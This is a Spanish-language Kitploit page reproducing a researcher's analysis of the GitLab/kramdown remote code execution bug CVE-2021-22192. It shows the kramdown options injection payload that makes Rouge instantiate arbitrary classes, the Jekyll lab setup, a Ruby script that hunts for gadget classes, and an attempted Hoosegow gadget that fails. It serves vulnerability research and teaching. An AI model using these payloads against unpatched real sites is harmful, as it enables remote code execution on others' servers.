Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Gitlab-RCE — CVE-2021-22192 | Kitploit
Herramientas/GitHubGitHub/petrusviet/gitlab-rce
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y Educación
GitHubpetrusviet/gitlab-rce

Gitlab-RCE

CVE-2021-22192

Ver Repositorio
12311hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Análisis de la vulnerabilidad RCE en GitLab (CVE-2021–22192)

I) Construcción

  • Esta vulnerabilidad afecta a GitLab Community Edition (CE) y Enterprise Edition (EE) en las versiones (>=13.2, <13.7.9), (>=13.8, <13.8.6) y (>=13.9, <13.9.4)
  • Puedes seguir la guía de lyy289065406 para montar el entorno.

II) Análisis

Al comenzar a analizar esta vulnerabilidad, solo disponía de información valiosa de lyy289065406 que me ayudó a comprender el problema central de este bug. Parece que el error está en la gema kramdown (<= 2.3.0), así que comencé investigando kramdown primero.

1. Kramdown

Podemos revisar el patch de kramdown y vemos la diferencia en la función formatter_class dentro del módulo Kramdown::Converter::SyntaxHighlighter::Rouge

::Rouge::Formatters.const_get(formatter) se convirtió en ::Rouge::Formatters.const_get(formatter, false)

La función const_get se hereda de la clase Object y puede obtener las constantes. Incluso puede devolver clases previamente declaradas que encuentre. La única diferencia aquí es el parámetro adicional false. Al añadir false, const_get no puede obtener constantes de las clases padre ni de los módulos. Lo que es aún más especial: en la función self.call se invoca a formatter_class y luego a new(opts). Eso significa que al método obtenido mediante const_get se le llama al constructor para inicializarlo.

def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

Wow, wow. Entonces, ¿cómo se puede explotar?

Basándonos en Kramdown:Options podemos invocar la función Kramdown::Converter::SyntaxHighlighter::Rouge.call

{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

Además, en el módulo Kramdown:Options la función simple_hash_validator llama a YAML.safe_load(val). De este modo, también podemos configurar un archivo YML para pasar el payload deseado a Kramdown::Converter::SyntaxHighlighter::Rouge

def self.simple_hash_validator(val, name)
      if String === val
        begin
          val = YAML.safe_load(val)
        rescue RuntimeError, ArgumentError, SyntaxError
          raise Kramdown::Error, "Invalid YAML value for option #{name}"
        end
      end
      raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
      val
    end
  • Kramdown es utilizado por Jekyll, GitLab Pages, GitHub Pages y Thredd Forum. Por eso decidí probarlo primero con Jekyll.

2. Jekyll

Primero necesito montar Jekyll:

  • Instalar Jekyll
gem install jekyll
  • Crear una página de Jekyll llamada jekyllTest
jekyll new jekyllTest
  • Editar el archivo Gemfile.lock para dejar kramdown en <= 2.3.0
cd jekyllTest

Archivo Gemfile.lock


...
kramdown (2.3.0)
...

  • instalar la página
 bundle install

Así que ya hemos creado una página de Jekyll. Ahora podemos introducir el payload para ver si Kramdown::Converter::SyntaxHighlighter::Rouge.call realmente puede invocar un método.

Podemos añadir al archivo ./_config.yml

kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

O usar el documento de kramdown añadiendo el payload a ./_posts/*.markdown

{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~

Aquí usé el segundo método =)))))

  • Desplegamos la página de Jekyll
bundle exec jekyll serve

puede que encuentres el error "require': cannot load such file -- webrick (LoadError)"; necesitas añadir gem "webrick" al Gemfile

  • Vemos el mensaje de error private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep:; esto demuestra que se invocó a la clase CSV.

Lo siguiente es determinar qué método elegir para que, al llamar al constructor, se pueda provocar un RCE.

Según un artículo de análisis de CVE-2020-10518 que utiliza el bug de kramdown para provocar RCE en GitHub, apunté a la clase Hoosegow:

  • Vemos que la función initialize de Hoosegow llama a load_inmate_methods
def initialize(options = {})
    options         = options.dup
    @no_proxy       = options.delete(:no_proxy)
    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
    @image_name     = options.delete(:image_name)
    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
    @docker_options = options
    load_inmate_methods
  • En load_inmate_methods vemos que llama a require inmate_file
 def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

    unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
      raise Hoosegow::InmateImportError,
        "inmate file doesn't define Hoosegow::Inmate"
    end

    if no_proxy?
      self.extend Hoosegow::Inmate
    else
      inmate_methods = Hoosegow::Inmate.instance_methods
      inmate_methods.each do |name|
        define_singleton_method name do |*args, &block|
          proxy_send name, args, &block
        end
      end
    end
  end
  • inmate_file se crea concatenando @inmate_dir con 'inmate.rb'. Si podemos invocar esta clase y cambiar el parámetro inmate_dir a la ruta de nuestro archivo payload, entonces ¿no estaríamos ante un RCE?

  • Ejecuté un script en la ruta de la página de Jekyll para comprobar los métodos definidos:

require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
 
methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
  • Lástima, no había ninguna clase llamada Hoosegow, incluso cuando evité que el script se rompiera a mitad de camino usando la condición ob.name == "Hoosegow"
require "bundler"
Bundler.require
  
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow"  }

...
  • Resulta que en el classpath no estaba declarada la clase Hoosegow; añadí gem "hoosegow" al Gemfile y el script encontró esta clase. [jejeje]
  • A continuación probé a invocar Hoosegow con kramdown a ver qué pasaba
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~
  • Bum. No pasó nada; la clase Hoosegow no fue invocada. =)))))))))
Descargar herramienta